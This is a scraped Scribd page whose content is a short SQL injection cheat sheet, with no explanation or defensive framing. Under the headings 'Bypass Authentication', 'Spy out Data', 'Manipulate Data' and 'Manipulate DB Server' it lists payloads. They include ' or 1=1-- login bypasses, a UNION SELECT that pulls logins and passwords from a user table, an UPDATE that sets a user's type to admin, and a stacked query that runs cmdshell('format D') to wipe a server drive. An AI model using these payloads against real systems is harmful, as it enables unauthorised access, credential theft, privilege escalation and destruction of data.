Scribd Logo
Upload

Welcome to Scribd!

  • Z SQL Injection More Command

    Uploaded by

    Kamrul Islam
    15 views1 page
    The document discusses techniques for bypassing authentication and accessing sensitive data in databases including using SQL injection to return login credentials, update user privileges, and format database servers by executing operating system commands. It presents example payloads that use single-quote string termination, SQL comments, and UNION queries to bypass input validation checks and manipulate data or servers.

    Original Description:

    Original Title

    00002 z SQL Injection More Command

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    The document discusses techniques for bypassing authentication and accessing sensitive data in databases including using SQL injection to return login credentials, update user privileges, and format database servers by executing operating system commands. It presents example payloads that use single-quote string termination, SQL comments, and UNION queries to bypass input validation checks and manipulate data or servers.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    15 views1 page

    Z SQL Injection More Command

    Uploaded by

    Kamrul Islam
    The document discusses techniques for bypassing authentication and accessing sensitive data in databases including using SQL injection to return login credentials, update user privileges, and format database servers by executing operating system commands. It presents example payloads that use single-quote string termination, SQL comments, and UNION queries to bypass input validation checks and manipulate data or servers.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    of 1

    Bypass Authentication:

    ' or 1=1--
    ' or 1=1#
    ' or 1=1/*
    ') or ('1'='1

    Spy out Data:


    ' UNION SELECT login, password, 'x' FROM user--
    1 UNION SELECT 1,1,1 FROM user--

    Manipulate Data:
    ';UPDATE user SET type = 'admin' WHERE id = 23;--

    Manipulate DB Server:
    '; GO EXEC cmdshell('format D') --

    You might also like